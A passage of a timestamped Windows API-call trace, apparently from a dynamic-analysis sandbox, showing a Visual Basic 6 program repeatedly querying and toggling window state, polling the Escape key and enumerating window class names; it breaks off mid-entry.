GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0166.491] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0166.491] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0166.491] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0166.491] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0166.491] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0166.491] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0166.491] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0166.491] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0166.491] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0166.492] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0166.492] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0166.492] IsWindowEnabled (hWnd=0x20360) returned 1 [0166.492] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0166.492] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0166.492] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0166.492] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0166.493] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0166.493] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0166.493] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0166.493] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0166.493] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0166.493] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0166.493] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0166.493] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0166.493] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0166.494] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0166.494] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0166.494] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0166.494] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0166.494] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0166.494] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0166.494] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0166.494] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0166.495] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4fb5c30 [0166.495] IMalloc:Free (This=0x7fefecb5380, pv=0x4fb5c30) [0169.420] GetAsyncKeyState (vKey=27) returned 0 [0169.420] GetCurrentThreadId () returned 0xbdc [0169.421] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0169.421] GetDesktopWindow () returned 0x10010 [0169.421] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0169.421] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0169.421] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0169.422] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0169.422] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0169.422] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0169.422] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0169.422] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0169.422] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0169.422] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0169.423] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0169.423] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0169.423] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0169.423] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0169.423] IsWindowEnabled (hWnd=0x20360) returned 0 [0169.423] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0169.423] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0169.423] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0169.423] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0169.424] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0169.424] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0169.424] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0169.424] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0169.424] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0169.424] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0169.424] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0169.424] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0169.424] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0169.424] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0169.425] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0169.425] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0169.425] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0169.425] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0169.425] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0169.425] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0169.425] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0169.427] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0169.427] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0169.519] GetCurrentThreadId () returned 0xbdc [0169.519] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0169.519] GetDesktopWindow () returned 0x10010 [0169.520] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0169.520] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0169.520] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0169.520] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0169.520] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0169.520] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0169.521] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0169.521] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0169.521] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0169.521] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0169.521] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0169.521] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0169.521] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0169.521] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0169.521] IsWindowEnabled (hWnd=0x20360) returned 1 [0169.521] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0169.522] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0169.522] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0169.522] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0169.522] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0169.522] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0169.522] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0169.522] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0169.522] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0169.523] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0169.523] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0169.523] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0169.523] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0169.523] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0169.523] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0169.523] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0169.523] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0169.523] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0169.523] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0169.524] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0169.524] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0169.524] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4fb3b10 [0169.525] IMalloc:Free (This=0x7fefecb5380, pv=0x4fb3b10) [0172.484] GetAsyncKeyState (vKey=27) returned 0 [0172.484] GetCurrentThreadId () returned 0xbdc [0172.484] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0172.484] GetDesktopWindow () returned 0x10010 [0172.484] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0172.484] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0172.485] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0172.485] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0172.485] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0172.485] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0172.485] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0172.485] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0172.485] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0172.485] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0172.485] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0172.486] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0172.486] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0172.486] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0172.486] IsWindowEnabled (hWnd=0x20360) returned 0 [0172.486] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0172.486] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0172.486] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0172.486] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0172.486] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0172.486] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0172.486] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0172.487] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0172.487] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0172.487] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0172.487] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0172.487] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0172.487] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0172.487] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0172.487] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0172.487] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0172.487] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0172.487] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0172.487] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0172.488] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0172.488] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0172.488] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0172.488] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0172.575] GetCurrentThreadId () returned 0xbdc [0172.575] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0172.575] GetDesktopWindow () returned 0x10010 [0172.576] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0172.576] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0172.576] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0172.576] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0172.576] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0172.576] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0172.576] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0172.576] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0172.576] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0172.577] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0172.577] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0172.577] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0172.577] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0172.577] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0172.577] IsWindowEnabled (hWnd=0x20360) returned 1 [0172.577] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0172.577] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0172.577] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0172.577] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0172.577] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0172.578] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0172.578] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0172.578] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0172.578] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0172.578] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0172.578] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0172.578] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0172.578] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0172.578] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0172.578] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0172.578] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0172.579] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0172.579] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0172.579] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0172.579] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0172.579] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0172.579] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4fb2450 [0172.580] IMalloc:Free (This=0x7fefecb5380, pv=0x4fb2450) [0175.554] GetAsyncKeyState (vKey=27) returned 0 [0175.554] GetCurrentThreadId () returned 0xbdc [0175.554] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0175.554] GetDesktopWindow () returned 0x10010 [0175.554] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0175.554] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0175.554] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0175.555] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0175.555] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0175.555] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0175.555] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0175.555] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0175.555] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0175.555] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0175.555] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0175.555] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0175.556] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0175.556] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0175.556] IsWindowEnabled (hWnd=0x20360) returned 0 [0175.556] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0175.556] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0175.556] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0175.556] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0175.556] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0175.556] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0175.556] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0175.557] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0175.557] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0175.557] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0175.557] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0175.557] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0175.557] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0175.557] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0175.557] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0175.557] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0175.557] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0175.557] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0175.557] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0175.558] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0175.558] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0175.558] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0175.558] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0175.645] GetCurrentThreadId () returned 0xbdc [0175.645] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0175.645] GetDesktopWindow () returned 0x10010 [0175.646] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.647] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0175.647] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0175.647] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.647] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0175.647] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0175.647] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0175.647] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.647] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0175.647] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0175.647] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0175.647] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0175.647] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0175.647] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.647] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.647] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0175.647] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0175.647] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0175.647] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0175.647] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0175.647] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0175.647] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0175.648] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0175.648] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.648] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0175.648] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0175.648] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0175.648] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.648] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0175.648] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0175.648] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0175.648] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.648] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0175.648] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0175.648] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0175.648] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.648] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0175.648] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0175.648] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0175.648] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.648] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0175.648] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0175.648] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0175.648] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.648] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0175.648] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0175.648] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0175.648] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.648] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0175.648] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0175.648] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0175.648] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.648] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0175.648] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.648] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.649] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.649] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0175.649] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0175.649] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0175.649] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.649] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0175.649] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0175.649] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0175.649] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.649] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0175.649] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0175.649] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0175.649] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0175.649] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0175.649] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0175.649] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0175.649] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.649] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0175.649] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0175.649] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0175.649] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: 